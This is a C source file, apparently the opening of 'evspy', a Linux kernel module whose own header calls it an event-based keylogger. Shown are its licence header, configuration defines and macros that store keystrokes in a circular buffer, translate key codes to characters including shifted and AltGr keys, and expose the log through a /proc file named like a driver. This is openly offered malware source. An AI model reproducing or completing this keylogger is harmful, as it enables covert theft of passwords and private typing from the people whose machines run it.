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/*
* evspy - event based keylogger (Linux module)
*
* Copyright (c) 2011 Guillermo Ramos <0xwille@gmail.com>
* based on evbug module by Vojtech Pavlik ((c) 1999-2001)
*
* This file is part of evspy
*
* evspy is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* evspy is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with evspy. If not, see <http://www.gnu.org/licenses/>.
*/
#include <linux/cred.h>
#include <linux/init.h>
#include <linux/input.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/sched.h>
#include <linux/slab.h>
#include <linux/stat.h>
#include <linux/string.h>
#include <asm/page.h>
#include "khm/khm.h"
// Keyboard layouts
#define EVS_KLAY_EN 0
#define EVS_KLAY_ES 1
#define EVS_NAME "evspy" // driver name
#define EVS_KLAY EVS_KLAY_ES // change this to your keyboard layout
#define EVS_TROLL 1 // clear this if you're a serious guy
#define EVS_BUFSIZE PAGE_SIZE // size of the circular buffer (4K)
#define EVS_PROCNAME "driver/" EVS_NAME // virtual file within /proc
#include "maps/maps.h"
// Event values
#define EVS_VAL_FREE 0
#define EVS_VAL_PRESS 1
#define EVS_VAL_HOLD 2
#define is_ascii(c) (map[c] >= 'a' && map[c] <= 'z')
/*
* If pointer is at the end of buffer, put it at the beginning.
* If not, simply add 1 to it.
*/
#define evs_incp(p) \
({ \
if ((p) == &buffer[EVS_BUFSIZE-1]) \
(p) = buffer; \
else \
(p)++; \
(p); \
})
/*
* Same as evs_incp but backwards
*/
#define evs_decp(p) \
({ \
if ((p) == buffer) \
(p) = &buffer[EVS_BUFSIZE-1]; \
else \
(p)--; \
(p); \
})
/*
* Insert character c where wrp is pointing and move it to the next char.
* If rdp == wrp, increase rdp too.
*/
#define evs_insert(c) \
({ \
*wrp = (c); \
if (evs_incp(wrp) == rdp) \
evs_incp(rdp); \
})
/*
* Remove a character from the buffer
*/
#define evs_delete() \
({ \
if (likely(wrp != rdp)) \
evs_decp(wrp); \
})
/*
* Try to delete the last char inserted. If it is a special key ("[KEY]"),
* insert "[<<]" instead
*/
#define evs_backspace() \
({ \
if (*(wrp-1) != ']') \
evs_delete(); \
else \
special_char(KEY_BACKSPACE, EVS_VAL_PRESS); \
})
/*
* Is the c event code associated to any of the FX buttons?
*/
#define evs_isfX(c) \
({ \
((c) >= KEY_F1 && (c) <= KEY_F10) || \
((c) == KEY_F11 || (c) == KEY_F12) || \
((c) >= KEY_F13 && (c) <= KEY_F24); \
})
/*
* Returns the character associated with event code c when shift is pressed
*/
#define evs_shift(c) \
({ \
void *__vp; \
char __c; \
if ((shift_on != capslock_on) && is_ascii(c)) { \
__c = map[c] + ('A'-'a'); \
} else if (is_ascii(c) || !shift_on) { \
__c = map[c]; \
} else { \
if ((__vp = khm_get(shm, (c)))) \
__c = *(char *)__vp; \
else \
__c = map[c]; \
} \
__c; \
})
/*
* Returns the character associated with event code c when altgr is pressed
*/
#ifdef EVS_ALTGR_ENABLED
#define evs_altgr(c) \
({ \
void *__vp; \
char __c; \
__vp = khm_get(ahm, (c)); \
if (__vp) __c = *(char *)__vp; \
else __c = map[c]; \
__c; \
})
#endif
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